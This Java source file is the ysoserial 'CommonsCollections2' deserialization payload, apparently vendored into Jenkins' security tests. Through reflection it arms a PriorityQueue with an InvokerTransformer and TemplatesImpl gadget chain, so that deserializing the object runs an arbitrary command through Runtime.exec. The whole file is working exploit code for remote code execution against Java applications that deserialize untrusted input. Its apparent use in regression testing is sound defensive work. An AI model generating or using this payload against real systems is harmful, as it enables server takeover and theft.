/*
 * The MIT License
 *
 * Copyright (c) 2013 Chris Frohoff
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */
package jenkins.security.security218.ysoserial.payloads;

import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import jenkins.security.security218.ysoserial.util.Gadgets;
import jenkins.security.security218.ysoserial.util.PayloadRunner;
import jenkins.security.security218.ysoserial.util.Reflections;
import org.apache.xalan.xsltc.trax.TemplatesImpl;

/*
	Gadget chain:	
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { 

	public Queue<Object> getObject(final String command) throws Exception {		
		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
		
		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); 
		// stub data for replacement later
		queue.add(1); 
		queue.add(1); 
		
		// switch method called by comparator
		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 
		
		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = 1;
		
		return queue;
	}
	
	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections2.class, args);
	}

}